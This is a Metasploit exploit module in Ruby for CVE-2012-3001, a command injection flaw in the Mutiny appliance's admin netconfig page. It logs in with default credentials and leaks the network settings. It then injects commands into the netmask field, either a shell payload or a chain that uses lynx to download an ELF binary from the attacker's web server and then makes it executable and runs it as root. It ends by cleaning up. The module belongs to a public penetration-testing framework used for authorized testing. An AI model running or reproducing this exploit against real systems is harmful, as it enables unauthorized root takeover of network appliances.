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## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'Mutiny Remote Command Execution', 'Description'=> %q{ This module exploits an authenticated command injection vulnerability in the Mutiny appliance. Versions prior to 4.5-1.12 are vulnerable. In order to exploit the vulnerability the mutiny user must have access to the admin interface. The injected commands are executed with root privileges. This module has been tested successfully on Mutiny 4.2-1.05. }, 'Author' => [ 'Christopher Campbell', # Vulnerability discovery 'juan vazquez'# Metasploit module ], 'License'=> MSF_LICENSE, 'References' => [ ['CVE', '2012-3001'], ['OSVDB', '86570'], ['BID', '56165'], ['US-CERT-VU', '841851'], ['URL', 'http://obscuresecurity.blogspot.com.es/2012/10/mutiny-command-injection-and-cve-2012.html'] ], 'Privileged' => true, 'Platform' => [ 'unix', 'linux' ], 'Payload'=> { 'DisableNops' => true, 'Space' => 4000 }, 'Targets'=> [ [ 'Unix CMD', { 'Arch' => ARCH_CMD, 'Platform' => 'unix', #'Payload'=> #{ #'Compat' => #{ #'PayloadType' => 'cmd', #'RequiredCmd' => 'python' #} #}, } ], [ 'Linux Payload', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ] ], 'DisclosureDate' => 'Oct 22 2012', 'DefaultTarget' => 1)) register_options( [ OptString.new('TARGETURI', [ true, 'The base path to Mutiny', '/interface/' ]), OptString.new('USERNAME', [ true, 'The user to authenticate as', 'admin' ]), OptString.new('PASSWORD', [ true, 'The password to authenticate with', 'mutiny' ]) ], self.class) end def peer "#{rhost}:#{rport}" end def lookup_lhost() # Get the source address if datastore['SRVHOST'] == '0.0.0.0' Rex::Socket.source_address('50.50.50.50') else datastore['SRVHOST'] end end def on_new_session(session) cmds = [] cmds = [ %Q|echo #{@netmask_eth0} > /opt/MUTINYJAVA/nemobjects/config/interface/eth0/0/netmask|, %Q|tr -d "\\n\\r" < /opt/MUTINYJAVA/nemobjects/config/interface/eth0/0/netmask > /opt/MUTINYJAVA/nemobjects/config/interface/eth0/0/netmask.bak|, %Q|mv -f /opt/MUTINYJAVA/nemobjects/config/interface/eth0/0/netmask.bak /opt/MUTINYJAVA/nemobjects/config/interface/eth0/0/netmask|, %Q|sed -e s/NETMASK=.*/NETMASK=#{@netmask_eth0}/ ifcfg-eth0 > ifcfg-eth0.bak|, %Q|mv -f ifcfg-eth0.bak ifcfg-eth0|, %Q|/etc/init.d/network restart| ] unless not @netmask_eth0 cmds << %Q|rm /tmp/#{@elfname}.elf| unless target.name =~ /CMD/ print_status("#{peer} - Restoring Network Information and Cleanup...") begin session.shell_command_token(cmds.join(" ; ")) rescue print_error("#{peer} - Automatic restore and cleanup didn't work, please use these commands:") cmds.each { |cmd| print_warning(cmd) } end print_good("#{peer} - Restoring and Cleanup successful") end def start_web_service print_status("#{peer} - Setting up the Web Service...") if datastore['SSL'] ssl_restore = true datastore['SSL'] = false end resource_uri = '/' + @elfname + '.elf' service_url = "http://#{lookup_lhost}:#{datastore['SRVPORT']}#{resource_uri}" print_status("#{peer} - Starting up our web service on #{service_url} ...") start_service({'Uri' => { 'Proc' => Proc.new { |cli, req| on_request_uri(cli, req) }, 'Path' => resource_uri }}) datastore['SSL'] = true if ssl_restore return service_url end # wait for the data to be sent def wait_linux_payload print_status("#{peer} - Waiting for the victim to request the ELF payload...") waited = 0 while (not @elf_sent) select(nil, nil, nil, 1) waited += 1 if (waited > datastore['HTTP_DELAY']) fail_with(Exploit::Failure::Unknown, "Target didn't request request the ELF payload -- Maybe it cant connect back to us?") end end #print_status("#{peer} - Giving time to the payload to execute...") #select(nil, nil, nil, 20) unless session_created? print_status("#{peer} - Shutting down the web service...") stop_service end # Handle incoming requests from the target def on_request_uri(cli, request) vprint_status("#{peer} - on_request_uri called, #{request} requested") if (not @elf_data) print_error("#{peer} - A request came in, but the ELF archive wasn't ready yet!") return end print_good("#{peer} - Sending the ELF payload to the target...") @elf_sent = true send_response(cli, @elf_data) end def check res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'logon.jsp'), }) if res and res.body =~ /: Mutiny : Login @ mutiny/ return Exploit::CheckCode::Detected end return Exploit::CheckCode::Safe end def exploit print_status("#{peer} - Login with the provided credentials...") res = send_request_cgi({ 'method'=> 'POST', 'uri' => normalize_uri(target_uri.path, 'logon.do'), 'vars_post' => { 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] } }) if res and res.code == 302 and res.headers['Location'] =~ /index.do/ and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*);/ print_good("#{peer} - Login successful") session = $1 else fail_with(Exploit::Failure::NoAccess, "#{peer} - Unable to login in Mutiny") end print_status("#{peer} - Leaking current Network Information...") res = send_request_cgi({ 'method'=> 'GET', 'uri' => normalize_uri(target_uri.path, 'admin', 'cgi-bin', 'netconfig'), 'cookie'=> "JSESSIONID=#{session}", }) if res and res.code == 200 and res.body =~ /Ethernet Interfaces/ adress_eth0 = (res.body =~ /<input type="text" value="(.*)" name="addresseth0" class="textInput" \/>/ ? $1 : "") @netmask_eth0 = (res.body =~ /<input type="text" value="(.*)" name="netmasketh0" class="textInput" \/>/ ? $1 : "") gateway = (res.body =~ /<input type="text" name="Gateway" value= "(.*)" class="textInput">/ ? $1 : "") dns_address = (res.body =~ /<input type="text" value="(.*)" name="dnsaddress0" class="textInput">/ ? $1 : "") static_route_address = (res.body =~ /<input class="textInput" type="text" name="staticRouteAddress" value="(.*)" \/>/ ? $1 : "") static_route_netmask = (res.body =~ /<input class="textInput" type="text" name="staticRouteNetmask" value="(.*)" \/>/ ? $1 : "") static_route_gateway = (res.body =~ /<input class="textInput" type="text" name="staticRouteGateway" value="(.*)" \/>/ ? $1 : "") print_good("#{peer} - Information leaked successfully") else print_error("#{peer} - Error leaking information, trying to exploit with random values") end if target.name =~ /CMD/ injection = @netmask_eth0.dup || rand_text_alpha(5 + rand(3)) injection << "; #{payload.encoded}" else print_status("#{peer} - Generating the ELF Payload...") @elf_data = generate_payload_exe @elfname = Rex::Text.rand_text_alpha(3+rand(3)) service_url = start_web_service injection = @netmask_eth0.dup || rand_text_alpha(5 + rand(3)) injection << "; lynx -source \"#{service_url}\" > /tmp/#{@elfname}.elf" injection << "; chmod +x /tmp/#{@elfname}.elf" injection << "; /tmp/#{@elfname}.elf" end print_status("#{peer} - Exploiting Command Injection...") send_request_cgi({ 'method'=> 'POST', 'uri' => normalize_uri(target_uri.path, 'admin', 'cgi-bin', 'netconfig'), 'cookie'=> "JSESSIONID=#{session}", 'vars_post' => { "addresseth0" => adress_eth0 || rand_text_alpha(5 + rand(3)), "netmasketh0" => injection, "Gateway" => gateway || rand_text_alpha(5 + rand(3)), "dnsaddress0" => dns_address || rand_text_alpha(5 + rand(3)), "staticRouteAddress" => static_route_address || rand_text_alpha(5 + rand(3)), "staticRouteNetmask" => static_route_netmask || rand_text_alpha(5 + rand(3)), "staticRouteGateway" => static_route_gateway || rand_text_alpha(5 + rand(3)) } }, 1) if target.name =~ /Linux Payload/ wait_linux_payload end end end |
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